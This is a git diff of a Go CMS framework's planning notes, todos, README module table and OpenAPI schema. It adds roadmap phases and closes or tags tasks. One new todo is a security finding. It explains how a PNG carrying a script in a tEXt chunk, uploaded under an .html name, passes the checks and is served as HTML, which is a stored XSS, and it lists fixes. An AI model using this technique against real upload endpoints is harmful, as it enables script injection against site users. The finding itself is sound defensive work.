- **OAuth:** `oauthserver` (5.5k LOC, 10 routes, OIDC) sits on the framework's `wristband` package. Phase 19.4 makes `wristband` a full OIDC provider.
|
||||
- **Division of work:** WavePath's agent listed what it needs from SummerCMS and what it does itself. See `/media/nvme/dev/jz/wavepath.org/.planning/notes/summercms-framework-asks-for-wavepath.md` and `.planning/notes/wavepath-framework-asks-division.md`.
|
||||
- **Also mounted:** feedback (ported), journal (ported), sitemap and faq (Phase 17), and paymentgateway/pgstripe. Wavepath's own code never references PaymentGateway, so check whether it can be dropped.
|
||||
|
||||
## Breadcrumbs
|
||||
|
||||
- `.planning/notes/core-plugin-port-inventory.md`
|
||||
- `.planning/notes/oauth2-wristband-direct-port.md`
|
||||
- `.planning/ROADMAP.md`: Phases 19 and 19.1
|
||||
- `.planning/notes/wavepath-framework-asks-division.md`
|
||||
- `.planning/ROADMAP.md`: Phases 19 to 19.6 and 20
|
||||
- `.planning/research/questions.md`: chat source version, Herald Web Push dependency
|
||||
|
||||
## Notes
|
||||
|
||||
@@ -133,6 +133,31 @@
|
||||
"name": "Chat satellites",
|
||||
"status": "pending"
|
||||
},
|
||||
{
|
||||
"number": "19.2",
|
||||
"name": "Chat polish against WavePath clients",
|
||||
"status": "pending"
|
||||
},
|
||||
{
|
||||
"number": "19.3",
|
||||
"name": "Framework transport and infrastructure for WavePath",
|
||||
"status": "pending"
|
||||
},
|
||||
{
|
||||
"number": "19.4",
|
||||
"name": "OIDC provider on wristband",
|
||||
"status": "pending"
|
||||
},
|
||||
{
|
||||
"number": "19.5",
|
||||
"name": "Social login in sm-user-plugin",
|
||||
"status": "pending"
|
||||
},
|
||||
{
|
||||
"number": "19.6",
|
||||
"name": "Two-factor auth and device flow in sm-user-plugin",
|
||||
"status": "pending"
|
||||
},
|
||||
{
|
||||
"number": "20",
|
||||
"name": "Płytarium cutover",
|
||||
@@ -140,9 +165,9 @@
|
||||
}
|
||||
],
|
||||
"next": {
|
||||
"command": "/msd:progress --next",
|
||||
"command": "/msd-progress --next",
|
||||
"label": "Advance to the next step",
|
||||
"reason": "Phase 16.1 of 34 · executing"
|
||||
"reason": "Phase 16.3 of 40 · executing"
|
||||
},
|
||||
"updated_at": "2026-10-09T18:51:01.734Z"
|
||||
"updated_at": "2026-10-11T00:07:52.680Z"
|
||||
}
|
||||
|
||||
6
.planning/todos/README.md
Normal file
6
.planning/todos/README.md
Normal file
@@ -0,0 +1,6 @@
|
||||
# Todos
|
||||
|
||||
- `pending/`: open todos. Each one has a matching g15office task, and its frontmatter carries the task ID as `g15office: <id>`.
|
||||
- `done/`: closed todos, each ending with a `## Closed <date>` note.
|
||||
|
||||
**Keep todos synchronized with g15office** (project `summercms`). Creating, closing or promoting a todo updates its g15office task in the same session. The rules and the phase → task map are in [`../G15OFFICE.md`](../G15OFFICE.md).
|
||||
@@ -1,10 +1,19 @@
|
||||
---
|
||||
title: Backend admin personal API tokens (deferred Apparatus PersonalApiToken)
|
||||
title: Backend admin personal API tokens (Phase 16.3)
|
||||
date: 2026-09-28
|
||||
priority: low
|
||||
priority: high
|
||||
area: summercms.go admin auth
|
||||
g15office: 5lcivllc
|
||||
status: done
|
||||
closed: 2026-10-11
|
||||
---
|
||||
|
||||
Apparatus provides personal API tokens for backend admins (`PersonalApiToken` model, `TokenAuthenticate` + `ForceJsonResponse` middleware, token create/revoke on the backend user form). Nothing in Płytarium calls it, so it is deferred past v1. The Phase 9 `backend` guard already accepts `Authorization: Bearer` for CLI and tests.
|
||||
|
||||
Revisit when a Golem15 project needs scripted access to the admin API. See `.planning/notes/apparatus-dissolved-into-framework.md`.
|
||||
|
||||
**2026-10-10:** Promoted to Phase 16.3 (scoped tokens, Journal agent use case). No migration of Apparatus tokens.
|
||||
|
||||
## Closed 2026-10-11
|
||||
|
||||
Promoted to Phase 16.3 on 2026-10-10. The g15office task is now the Phase 16.3 milestone task.
|
||||
@@ -9,6 +9,8 @@ files:
|
||||
- modules/cabana/extension.go
|
||||
- modules/pact
|
||||
- admin/src/components/form/registry.ts
|
||||
status: done
|
||||
closed: 2026-10-11
|
||||
---
|
||||
|
||||
## Problem
|
||||
@@ -30,3 +32,7 @@ Add a capability interface in `pact` (for example `HasFormFieldTypes`) through w
|
||||
- Update the cabana README and `docs/`, the admin OpenAPI and the generated types, and commit `dist/`, all in the same change.
|
||||
|
||||
Decide in a framework phase (or a decimal phase before the first plugin that needs it). Phase 18's `money` field stays a core cabana type (18-CONTEXT); this todo covers the plugins that follow.
|
||||
|
||||
## Closed 2026-10-11
|
||||
|
||||
Done in Phase 16.2: `pact.FormFieldType` plus cabana's field-type registry (`modules/cabana/field_type.go`).
|
||||
@@ -6,6 +6,8 @@ severity: minor
|
||||
files:
|
||||
- modules/cabana/form_schema.go
|
||||
- ../sm-journal-plugin/models/category/fields.yaml
|
||||
status: done
|
||||
closed: 2026-10-11
|
||||
---
|
||||
|
||||
## Problem
|
||||
@@ -15,3 +17,7 @@ D-21 asks for a rich content field on Journal categories. cabana has no WYSIWYG
|
||||
## Solution
|
||||
|
||||
Add a `richeditor` field type (and an `mlricheditor` variant if a translatable rich field is needed) to the cabana form schema (`modules/cabana/form_schema.go`) and to the admin SPA. Keep the server-side gate on save: the Journal plugin's `classes.CheckHTML` runs in the Categories controller's `FormBeforeCreate` and `FormBeforeUpdate`, and the new field type must not bypass it. Then switch the Journal category `content` field in `models/category/fields.yaml` from `textarea` to `richeditor`.
|
||||
|
||||
## Closed 2026-10-11
|
||||
|
||||
Done in Phase 16.2: the Journal `blogeditor`/`mlblogeditor` plugin field type edits category and post HTML content.
|
||||
@@ -3,6 +3,8 @@ title: Keep imported HTML post bodies intact when a Journal post is re-saved in
|
||||
date: 2026-10-09
|
||||
priority: high
|
||||
area: sm-journal-plugin
|
||||
status: done
|
||||
closed: 2026-10-11
|
||||
---
|
||||
|
||||
Phase 16 RESEARCH Pitfall 2. The PHP journal export carries the pl post `content` as **HTML** (61 of 63 published posts on grzybyfunkcjonalne.pl). `journal:import-posts` stores it as is and the pl `content_html` is correct, so imported posts render fine. But an admin save of such a post runs `FormatHTML(content)`: goldmark without `html.WithUnsafe()` replaces raw HTML with `<!-- raw HTML omitted -->`, so the post body is wiped (probe in 16-RESEARCH.md: `pl HTML content -> out="<!-- raw HTML omitted -->\n"`).
|
||||
@@ -16,3 +18,7 @@ Fix in `sm-journal-plugin`, one of:
|
||||
- add a content format flag on the post so HTML-sourced posts are edited as HTML.
|
||||
|
||||
Whatever the fix, it must keep the XSS gate (`classes.CheckHTML`) on every write path and keep the PHP API contract of `content`/`content_html` unchanged. Add a test that re-saves an imported HTML post and asserts `content_html` is unchanged.
|
||||
|
||||
## Closed 2026-10-11
|
||||
|
||||
Done in Phase 16.2 (D-03): `FormatHTML` passes raw HTML through (`html.WithUnsafe()`), covered by `TestFormatHTMLKeepsRawHTML` and the posts admin smoke test.
|
||||
@@ -3,6 +3,8 @@ title: Nest framework packages under modules/ — same beach names
|
||||
date: 2026-09-28
|
||||
priority: high
|
||||
area: summercms.go
|
||||
status: done
|
||||
closed: 2026-10-11
|
||||
---
|
||||
|
||||
Mechanical layout change only. Do not rename packages.
|
||||
@@ -18,3 +20,7 @@ Import paths become `git.golem15.com/golem15/summercms/modules/<name>`. Rewrite
|
||||
Do this before Phase 11 adds more root packages. Do not remap onto Winter `system` / `backend` / `cms`.
|
||||
|
||||
After the move is green, run the sibling todo that writes a short `README.md` per module.
|
||||
|
||||
## Closed 2026-10-11
|
||||
|
||||
Done in Phase 10.2: every framework package lives under `modules/<name>/`.
|
||||
@@ -3,6 +3,8 @@ title: Short README.md per modules/* after the nest
|
||||
date: 2026-09-28
|
||||
priority: medium
|
||||
area: summercms.go/modules
|
||||
status: done
|
||||
closed: 2026-10-11
|
||||
---
|
||||
|
||||
Blocked on `.planning/todos/pending/nest-framework-packages-under-modules.md`.
|
||||
@@ -12,3 +14,7 @@ After the packages live under `modules/`, spawn a GSD explore / researcher pass
|
||||
Each file: one paragraph on what the package is for, who imports it, and one example entry point (`Package.Type` or file). No architecture essays. No copy-paste of planning docs.
|
||||
|
||||
The top-level `summercms.go/README.md` should then link the directory instead of explaining every beach name inline.
|
||||
|
||||
## Closed 2026-10-11
|
||||
|
||||
Done: all 24 `modules/*` packages ship a README (Phase 10.2, later the Role and mnemonic passes).
|
||||
@@ -3,6 +3,8 @@ title: Rewrite summercms.go README — onboard, recreate login, honest cutover
|
||||
date: 2026-09-28
|
||||
priority: high
|
||||
area: summercms.go/README.md
|
||||
status: done
|
||||
closed: 2026-10-11
|
||||
---
|
||||
|
||||
Replace `README.md`. It currently says pre-alpha / nothing runs. That is false.
|
||||
@@ -16,3 +18,7 @@ The long story lives here, not in `fonoteka.go`. Include:
|
||||
- After the `modules/` nest lands, point at `modules/<name>/README.md` instead of listing beach-named packages at the repo root.
|
||||
|
||||
Do not invent a production runbook. Operator procedure stays in the PHP `docs/deploy/plytarium.com.md` until Phase 15.
|
||||
|
||||
## Closed 2026-10-11
|
||||
|
||||
Done: the root README now covers key concepts, requirements, quick start and links to every module README.
|
||||
@@ -5,6 +5,7 @@ area: docs
|
||||
severity: minor
|
||||
files:
|
||||
- docs/architecture/performance-and-scaling.md
|
||||
g15office: gy0u2z5c
|
||||
---
|
||||
|
||||
## Problem
|
||||
|
||||
@@ -7,6 +7,7 @@ files:
|
||||
- ../sm-translate-plugin/admin_settings.go
|
||||
- modules/pact/capabilities.go (SettingsItem.Controller)
|
||||
- ../examples/golem15-wintercms-starter/plugins/golem15/translate/Plugin.php (registerSettings: messages)
|
||||
g15office: ewlzc7we
|
||||
---
|
||||
|
||||
## Problem
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
---
|
||||
created: 2026-10-10T23:04:41.663Z
|
||||
title: Prompt open admin and site tabs to reload when a new version is deployed
|
||||
area: framework
|
||||
severity: minor
|
||||
files:
|
||||
- modules/boardwalk/boardwalk.go:110-133
|
||||
- admin/src/app/fieldTypes.ts
|
||||
- admin/src/components/form/registry.ts
|
||||
g15office: ltcvqext
|
||||
---
|
||||
|
||||
## Problem
|
||||
|
||||
A browser tab opened before a deploy keeps running the old admin SPA bundle until the user reloads it by hand. On uat.grzybyfunkcjonalne.pl (2026-10-11) the post form showed "Unsupported field type: mlblogeditor" instead of the Blog Editor. The deployed binary (sha256 8a64d01…) and its embedded `modules/boardwalk/dist` were current. The old bundle ran against the new backend: it got a schema field type it didn't know and fell back to UnsupportedField. A reload fixed it.
|
||||
|
||||
`index.html` is already served with `Cache-Control: no-store` (boardwalk.go:132), and hashed assets are long-lived. So HTTP caching isn't the gap. The gap is a long-lived open tab that never learns a new version exists. The SPA refreshes its JWT silently, so a tab can stay open for days.
|
||||
|
||||
The same applies to:
|
||||
- the Nuxt site apps (grzybyfunkcjonalne, journal layer), where Nitro and client chunks change per deploy;
|
||||
- lazy chunks: after a deploy an old tab asking for a removed hashed chunk gets a 404 or a chunk-load error;
|
||||
- plugin field-type scripts, which are already versioned with `?v=` hashes but load only once, after sign-in.
|
||||
|
||||
## Solution
|
||||
|
||||
TBD. Ideas:
|
||||
- Expose a build version. Candidates: a response header on every admin API reply (e.g. `X-Summer-Build`, from the boardwalk dist hash plus the binary build info), or a small `/version` endpoint.
|
||||
- The SPA records the version it booted with. It compares it on API responses and on `visibilitychange`/focus, or on an interval. On a mismatch it shows a non-blocking banner, "A new version is available — reload", and doesn't auto-reload, so unsaved form edits aren't lost. An auto-reload is acceptable only when no form is dirty.
|
||||
- Catch dynamic-import/chunk-load failures (`vite:preloadError`) and reload once, guarded against loops by a sessionStorage flag.
|
||||
- Nuxt apps: use the built-in `app:manifest:update` / `checkOutdatedBuildInterval` (Nuxt app manifest) and the same banner pattern.
|
||||
- Unit-test the version comparison and the reload-once guard. Document the header or endpoint in the boardwalk README and docs.
|
||||
@@ -0,0 +1,32 @@
|
||||
---
|
||||
created: 2026-10-11T00:00:00Z
|
||||
title: Uploads keep the client file extension, so a valid image can be served as HTML (stored XSS)
|
||||
priority: high
|
||||
area: lagoon/attach, fonoteka.go uploads
|
||||
severity: major
|
||||
g15office: bemfi2zs
|
||||
files:
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/controllers/api/collection_media_controller.go (storeUpload)
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/classes/album_files.go (StorePublicFile)
|
||||
- modules/lagoon/attach
|
||||
---
|
||||
|
||||
## Problem
|
||||
|
||||
Found in the Phase 12 code review (WR-01 in `.planning/phases/12-p-ytarium-api-collections-and-albums/12-REVIEW.md`).
|
||||
|
||||
Public uploads keep the extension the client sent. The web server serves `storage/app/uploads/public` and picks the Content-Type from the extension; the blob's `ContentType` metadata does not reach it. A PNG with `<script>` in a `tEXt` chunk passes both upload checks (`image|mimes:...` sniffs the content, `IsAllowedImage` decodes it). Uploaded as `x.html`, it is stored as `<hex>.html`, its URL comes back in the 201 response and every listing, and a browser renders it as HTML.
|
||||
|
||||
WinterCMS's `File::getDiskName` behaves the same way (inherited, not introduced), but any household member or write-scoped token can exploit it. Still present as of 2026-10-11: `storeUpload` appends `filepath.Ext(upload.Filename)` to the disk name.
|
||||
|
||||
## Solution
|
||||
|
||||
- Derive the stored extension from the sniffed MIME type (`image/png` → `png`, and so on) in one shared helper, preferably in `lagoon/attach` so every plugin gets it. Keep the client name only in `file_name`.
|
||||
- The URL changes only for uploads whose client extension disagrees with their content; the parity corpus does not record that case.
|
||||
- Defence in depth: `X-Content-Type-Options: nosniff` and a file-type allow-list on the web server's uploads location, documented in the deploy docs.
|
||||
- Shares lines with the CR-01 fix in the application project (odd extensions breaking every listing).
|
||||
|
||||
## Acceptance
|
||||
|
||||
- A PNG uploaded as `x.html` is stored with a `.png` disk name and its URL ends in `.png`.
|
||||
- A regression test covers that upload.
|
||||
@@ -3,6 +3,7 @@ title: Reject duplicate console command names in bonfire.NewRoot
|
||||
date: 2026-09-30
|
||||
priority: low
|
||||
area: summercms.go bonfire
|
||||
g15office: u4rtpcl1
|
||||
---
|
||||
|
||||
`bonfire.NewRoot` validates each command name's form (`namespace:verb`, or one of the bare framework names) but does not check for duplicates. The generated application `main` appends plugin commands after the framework's runtime commands, so a plugin that declares a command with the same name as a framework command, or as another plugin's command, builds and starts without an error, and which one runs is decided by Cobra.
|
||||
|
||||
@@ -3,6 +3,7 @@ title: Port the FAQ plugin as sm-faq-plugin so FAQs become editable
|
||||
date: 2026-10-07
|
||||
priority: medium
|
||||
area: sm-faq-plugin
|
||||
g15office: ylgfanlk
|
||||
---
|
||||
|
||||
Phase 16 ships the grzybyfunkcjonalne.pl FAQ (`g15_faq` slug `what-mushrooms-can-give-you`) as static i18n/markdown content in the Nuxt app. Later blogs need editors to manage FAQs, so port `Golem15.Faq` 1:1 as its own `sm-faq-plugin` repo (see `.planning/notes/core-plugins-own-repos.md`): models, admin screens and a public read API by slug.
|
||||
|
||||
@@ -6,6 +6,7 @@ severity: minor
|
||||
files:
|
||||
- ../sm-journal-plugin/controllers/api/authors.go
|
||||
- modules/lagoon/backend_admin_migrations.go
|
||||
g15office: esrp4qtx
|
||||
---
|
||||
|
||||
## Problem
|
||||
|
||||
@@ -3,6 +3,7 @@ title: lagoon README registers an after-commit GORM callback that can sort after
|
||||
date: 2026-09-30
|
||||
priority: high
|
||||
area: summercms.go lagoon
|
||||
g15office: fqfoclxq
|
||||
---
|
||||
|
||||
The `lagoon.OnDatabase` example in `modules/lagoon/README.md` registers its create callback with `After("gorm:after_create")` and calls `lagoon.AfterCommit` from it. GORM sorts that callback after `lagoon:after_commit` (itself `After("gorm:commit_or_rollback_transaction")`), so the work is buffered after the buffer was flushed and never runs, with no error or log. A docs test reproduced it: the same callback registered with `After("gorm:create").Before("gorm:commit_or_rollback_transaction")` runs as expected.
|
||||
|
||||
@@ -3,6 +3,7 @@ title: Port MailBlocker and the block-mail checkbox with the mailing work
|
||||
date: 2026-10-04
|
||||
priority: medium
|
||||
area: sm-user-plugin mail
|
||||
g15office: 9cxuwfzy
|
||||
---
|
||||
|
||||
The PHP user form has a "block all mail to this user" checkbox (`block_mail`, update context) backed by `Golem15\User\Models\MailBlocker`. Phase 12.1 left it out (12.1-CONTEXT D-21): it needs its own table and a check in every mail send path, which is a mail feature rather than an admin screen.
|
||||
|
||||
@@ -3,6 +3,7 @@ title: Port the menu plugin as sm-menu-plugin so blog menus become editable
|
||||
date: 2026-10-07
|
||||
priority: medium
|
||||
area: sm-menu-plugin
|
||||
g15office: rfd6l4u4
|
||||
---
|
||||
|
||||
Phase 16 hardcodes the grzybyfunkcjonalne.pl main menu as typed config in the Nuxt app, replacing the `g15_menu` component. Later blogs need editors to manage menus again, so port `Golem15.Menu` 1:1 as its own `sm-menu-plugin` repo (see `.planning/notes/core-plugins-own-repos.md`): models, admin screens and a public read API that the shared `vue-journal-layer` (or a sibling layer) can consume.
|
||||
|
||||
@@ -3,6 +3,7 @@ title: Convert module README Go code blocks to compiled src= references
|
||||
date: 2026-09-30
|
||||
priority: medium
|
||||
area: summercms.go/modules/*/README.md, internal/docsite
|
||||
g15office: gplauwlb
|
||||
---
|
||||
|
||||
Phase 11.1 (D-18) publishes every module README as an `api/<name>` docs page, but its Go code blocks (about 41 across 22 READMEs) are only identifier-checked, not compiled. Move each to an `Example*` or region in the module's `example_test.go` and reference it with `src=`, then drop the README exemption in `internal/docsite` `check_policy.go` so ROADMAP 11.1 SC4 can be widened back to "every Go example in the docs".
|
||||
|
||||
@@ -3,6 +3,7 @@ title: Refresh fonoteka.go README — short status plus migrate/serve/login
|
||||
date: 2026-09-28
|
||||
priority: high
|
||||
area: ../fonoteka.go/README.md
|
||||
g15office: is8whvje
|
||||
---
|
||||
|
||||
Keep this file a short run card. Do not duplicate the framework story.
|
||||
|
||||
@@ -3,6 +3,7 @@ title: make:admin-controller output does not boot and names the model after the
|
||||
date: 2026-09-30
|
||||
priority: medium
|
||||
area: summercms.go internal/build
|
||||
g15office: evdzmic4
|
||||
---
|
||||
|
||||
`summer make:admin-controller acme.blog Posts` writes a controller and YAML that compile but are not a working admin screen:
|
||||
|
||||
@@ -3,6 +3,7 @@ title: Scaffolded files carry a DO NOT EDIT header, and make:command cannot reac
|
||||
date: 2026-09-30
|
||||
priority: medium
|
||||
area: summercms.go internal/build
|
||||
g15office: hqyet7qh
|
||||
---
|
||||
|
||||
Two scaffolder conventions that the porting walkthrough had to work around:
|
||||
|
||||
@@ -3,6 +3,7 @@ title: make:model and make:migration in the same second produce migrations that
|
||||
date: 2026-09-30
|
||||
priority: high
|
||||
area: summercms.go internal/build
|
||||
g15office: xp2bt2rl
|
||||
---
|
||||
|
||||
`nextMigrationFile` in `internal/build/artifact.go` names a migration `<UTC second>_<slug>` and only moves to the next second when a file with the same full name already exists. Two migrations with different slugs created in the same second share one timestamp, and `refreshRegistry` sorts them by file name. Running `summer make:model acme.news Item` and `summer make:migration acme.news AddFlag` back to back (a probe in a copy of examples/hello, 2026-09-30) wrote `20260930213644_add_flag.go` and `20260930213644_create_acme_news_items.go`, and `registry.gen.go` listed `AddFlag` before `CreateItems`. gormigrate runs the set in slice order, so the ALTER TABLE migration would run before the CREATE TABLE one and fail.
|
||||
|
||||
@@ -3,6 +3,7 @@ title: Port the sitemap plugin 1:1 as sm-sitemap-plugin for the next blog projec
|
||||
date: 2026-10-03
|
||||
priority: medium
|
||||
area: sm-sitemap-plugin
|
||||
g15office: krx9geua
|
||||
---
|
||||
|
||||
Phase 14 dropped sitemap for Płytarium, because Nuxt builds its own sitemap with `@nuxtjs/seo` and fonoteka registers no menu item types. The next port after Płytarium is a blog project (grzybyfunkcjonalne.pl or golem15.com), and it needs `Golem15.Sitemap` 1:1.
|
||||
|
||||
@@ -3,6 +3,7 @@ title: Neutral default resource URL in wristband.DefaultOptions
|
||||
date: 2026-09-30
|
||||
priority: medium
|
||||
area: summercms.go wristband
|
||||
g15office: iarcg5dk
|
||||
---
|
||||
|
||||
`wristband.DefaultOptions()` ships a `Resource` default (the RFC 8707 resource indicator) whose URL names a consuming application, and the comments around it name that application too: the `Resource` field comment and the default in `modules/wristband/server.go`, the package comment at the top of `server.go`, and comments in `stores.go` and `client_issue.go`.
|
||||
|
||||
52
README.md
52
README.md
@@ -89,32 +89,32 @@ The `migrate`, `migrate:status`, `migrate:rollback`, `serve` and admin commands
|
||||
|
||||
## Modules
|
||||
|
||||
| Module | Purpose |
|
||||
|--------|---------|
|
||||
| [backpack](modules/backpack/README.md) | Per-instance application container that holds the configuration, a typed service registry, the event bus and the set of activated plugins. |
|
||||
| [beachcomber](modules/beachcomber/README.md) | Search index sync for GORM models: after-commit upserts and deletes through a pluggable engine, gated by an application kill-switch. |
|
||||
| [boardwalk](modules/boardwalk/README.md) | HTTP handler that serves the embedded admin SPA build under a configurable path prefix. |
|
||||
| [bonfire](modules/bonfire/README.md) | Declarative console commands for the `summer` tool and application binaries, adapted to Cobra with typed input, prompts and styled output. |
|
||||
| [bouncer](modules/bouncer/README.md) | Authentication for SummerCMS: HS256 JWT minting, verification and refresh, request guards, a revoked-token blacklist and bcrypt password helpers. |
|
||||
| [cabana](modules/cabana/README.md) | Schema-driven admin backend that compiles WinterCMS-style YAML list, form, filter and relation definitions at boot and serves them as a JSON admin API next to the embedded admin SPA. |
|
||||
| [compass](modules/compass/README.md) | Layered YAML configuration with per-environment directories, `SUMMER_` environment overrides, embedded plugin defaults and dot-path access. |
|
||||
| [conga](modules/conga/README.md) | Background jobs on River over the shared Postgres pool: transactional dispatch, a `summer_jobs` progress record, in-process or dedicated workers, and a wall-clock scheduler. |
|
||||
| [festival](modules/festival/README.md) | Typed, synchronous event bus with listener priorities, payload collection and stop-when-handled dispatch. |
|
||||
| [fetchguard](modules/fetchguard/README.md) | Guarded outbound HTTP client and fetcher that blocks private and reserved addresses, enforces host, size and timeout limits, and offers an explicit trusted mode for operator-configured endpoints. |
|
||||
| [flare](modules/flare/README.md) | Web Push delivery with VAPID (RFC 8292) and aes128gcm payload encryption (RFC 8291) behind a small Pusher interface. |
|
||||
| [lagoon](modules/lagoon/README.md) | Postgres data layer: the shared GORM connection, per-plugin migrations, model helpers and file attachments. |
|
||||
| [lighthouse](modules/lighthouse/README.md) | Transport-neutral realtime: a publisher interface with pluggable drivers, subscribe-time channel authorization, and model broadcasts enqueued in the write transaction. |
|
||||
| [pact](modules/pact/README.md) | Capability interfaces that compiled plugins implement to contribute routes, config, migrations, middleware, commands, admin screens, translations, mail templates and jobs. |
|
||||
| [party](modules/party/README.md) | Compiled plugin registry that orders plugins by their dependencies and runs their Register and Boot lifecycle. |
|
||||
| [phrasebook](modules/phrasebook/README.md) | Namespaced translation catalogs loaded from plugin YAML, with locale fallback, placeholder interpolation and CLDR pluralization. |
|
||||
| [postcard](modules/postcard/README.md) | Transactional mail from plugin-owned Markdown templates and layouts, delivered through a memory, log or SMTP driver. |
|
||||
| [sunrise](modules/sunrise/README.md) | Bootstrap script that installs the summer CLI and creates a new SummerCMS application, or updates an existing one, in one command, embedded so it is versioned with the framework. |
|
||||
| [sunscreen](modules/sunscreen/README.md) | Credential-redacting slog handler that keeps API keys, tokens and passwords out of application logs. |
|
||||
| [surf](modules/surf/README.md) | HTTP routing for SummerCMS: collects plugin routes and named middleware into a `net/http` ServeMux with constraints, rate limiting, body limits, CORS and panic recovery, and provides the `serve` and `route:list` commands. |
|
||||
| [tide](modules/tide/README.md) | HTTP parity toolkit that records request and response fixtures from a reference backend, replays them against a new one and reports normalized differences. |
|
||||
| [towel](modules/towel/README.md) | Request-scoped actor, organization, collection and locale values carried through `context.Context`. |
|
||||
| [wire](modules/wire/README.md) | JSON response helpers and value types that keep API bodies byte-compatible with a PHP (WinterCMS/Laravel) backend. |
|
||||
| [wristband](modules/wristband/README.md) | An OAuth authorization server for MCP clients: RFC 8414 metadata, RFC 7591 dynamic client registration, the authorization-code flow with PKCE, consent operations and refresh-token rotation over application-supplied storage. |
|
||||
| Module | Purpose | Name mnemonic |
|
||||
|--------|---------|---------------|
|
||||
| [backpack](modules/backpack/README.md) | Per-instance application container that holds the configuration, a typed service registry, the event bus and the set of activated plugins. | The one bag you pack for the beach; it carries everything the application needs: configuration, services, events and plugins. |
|
||||
| [beachcomber](modules/beachcomber/README.md) | Search index sync for GORM models: after-commit upserts and deletes through a pluggable engine, gated by an application kill-switch. | A beachcomber searches the shore for finds; this module keeps the search index in step so content can be found. |
|
||||
| [boardwalk](modules/boardwalk/README.md) | HTTP handler that serves the embedded admin SPA build under a configurable path prefix. | The walkway along the beach front; it is the path admins take into the admin SPA. |
|
||||
| [bonfire](modules/bonfire/README.md) | Declarative console commands for the `summer` tool and application binaries, adapted to Cobra with typed input, prompts and styled output. | The evening fire where everyone gathers; the command line is where you sit down and fire off commands. |
|
||||
| [bouncer](modules/bouncer/README.md) | Authentication for SummerCMS: HS256 JWT minting, verification and refresh, request guards, a revoked-token blacklist and bcrypt password helpers. | Checks IDs at the beach club door; it authenticates requests and turns away the ones without a valid token. |
|
||||
| [cabana](modules/cabana/README.md) | Schema-driven admin backend that compiles WinterCMS-style YAML list, form, filter and relation definitions at boot and serves them as a JSON admin API next to the embedded admin SPA. | The beach hut where the staff run the beach; it is the admin backend. |
|
||||
| [compass](modules/compass/README.md) | Layered YAML configuration with per-environment directories, `SUMMER_` environment overrides, embedded plugin defaults and dot-path access. | Points you the right way; configuration tells the application how to behave in each environment. |
|
||||
| [conga](modules/conga/README.md) | Background jobs on River over the shared Postgres pool: transactional dispatch, a `summer_jobs` progress record, in-process or dedicated workers, and a wall-clock scheduler. | A line of dancers moving one after another; jobs queue up and are worked through in order. |
|
||||
| [festival](modules/festival/README.md) | Typed, synchronous event bus with listener priorities, payload collection and stop-when-handled dispatch. | A summer festival announces events and the crowd reacts; it is the event bus. |
|
||||
| [fetchguard](modules/fetchguard/README.md) | Guarded outbound HTTP client and fetcher that blocks private and reserved addresses, enforces host, size and timeout limits, and offers an explicit trusted mode for operator-configured endpoints. | A lifeguard for outbound fetches; it watches every request the application sends out and stops the dangerous ones. |
|
||||
| [flare](modules/flare/README.md) | Web Push delivery with VAPID (RFC 8292) and aes128gcm payload encryption (RFC 8291) behind a small Pusher interface. | A signal flare reaches people far away; it sends Web Push notifications to browsers. |
|
||||
| [lagoon](modules/lagoon/README.md) | Postgres data layer: the shared GORM connection, per-plugin migrations, model helpers and file attachments. | Calm, deep water where everything settles; it is the database layer where data is stored. |
|
||||
| [lighthouse](modules/lighthouse/README.md) | Transport-neutral realtime: a publisher interface with pluggable drivers, subscribe-time channel authorization, and model broadcasts enqueued in the write transaction. | Beams a signal out to everyone watching; it broadcasts realtime messages to subscribers. |
|
||||
| [pact](modules/pact/README.md) | Capability interfaces that compiled plugins implement to contribute routes, config, migrations, middleware, commands, admin screens, translations, mail templates and jobs. | An agreement both sides keep; it holds the interfaces a plugin agrees to implement. |
|
||||
| [party](modules/party/README.md) | Compiled plugin registry that orders plugins by their dependencies and runs their Register and Boot lifecycle. | The guest list and the order people arrive in; it registers plugins and boots them in dependency order. |
|
||||
| [phrasebook](modules/phrasebook/README.md) | Namespaced translation catalogs loaded from plugin YAML, with locale fallback, placeholder interpolation and CLDR pluralization. | What you pack to speak the local language on holiday; it holds the translations. |
|
||||
| [postcard](modules/postcard/README.md) | Transactional mail from plugin-owned Markdown templates and layouts, delivered through a memory, log or SMTP driver. | What you send home in summer; it delivers the application's mail. |
|
||||
| [sunrise](modules/sunrise/README.md) | Bootstrap script that installs the summer CLI and creates a new SummerCMS application, or updates an existing one, in one command, embedded so it is versioned with the framework. | The start of a summer day; it starts a new application, or updates one, in one command. |
|
||||
| [sunscreen](modules/sunscreen/README.md) | Credential-redacting slog handler that keeps API keys, tokens and passwords out of application logs. | Protects you from exposure; it keeps secrets out of the logs. |
|
||||
| [surf](modules/surf/README.md) | HTTP routing for SummerCMS: collects plugin routes and named middleware into a `net/http` ServeMux with constraints, rate limiting, body limits, CORS and panic recovery, and provides the `serve` and `route:list` commands. | Catching the incoming waves; it routes incoming HTTP requests to their handlers. |
|
||||
| [tide](modules/tide/README.md) | HTTP parity toolkit that records request and response fixtures from a reference backend, replays them against a new one and reports normalized differences. | The tide goes out and comes back, and you compare the waterline; it records traffic from one backend, replays it against another and compares. |
|
||||
| [towel](modules/towel/README.md) | Request-scoped actor, organization, collection and locale values carried through `context.Context`. | You carry it everywhere and it marks your spot; it carries the actor, organization and locale through each request. |
|
||||
| [wire](modules/wire/README.md) | JSON response helpers and value types that keep API bodies byte-compatible with a PHP (WinterCMS/Laravel) backend. | What goes over the wire; it keeps response bodies byte-for-byte the same as the PHP backend's. |
|
||||
| [wristband](modules/wristband/README.md) | An OAuth authorization server for MCP clients: RFC 8414 metadata, RFC 7591 dynamic client registration, the authorization-code flow with PKCE, consent operations and refresh-token rotation over application-supplied storage. | The festival wristband that lets you in for the event; it issues OAuth access for MCP clients. |
|
||||
|
||||
## Using SummerCMS in an application
|
||||
|
||||
|
||||
@@ -1,6 +1,151 @@
|
||||
{
|
||||
"components": {
|
||||
"schemas": {
|
||||
"cabana.AdminAPIToken": {
|
||||
"properties": {
|
||||
"created_at": {
|
||||
"type": "string"
|
||||
},
|
||||
"expired": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"expires_at": {
|
||||
"type": "string"
|
||||
},
|
||||
"hint": {
|
||||
"type": "string"
|
||||
},
|
||||
"id": {
|
||||
"type": "integer"
|
||||
},
|
||||
"last_used_at": {
|
||||
"type": "string"
|
||||
},
|
||||
"name": {
|
||||
"type": "string"
|
||||
},
|
||||
"revoked_at": {
|
||||
"type": "string"
|
||||
},
|
||||
"scopes": {
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/cabana.AdminAPITokenScope"
|
||||
},
|
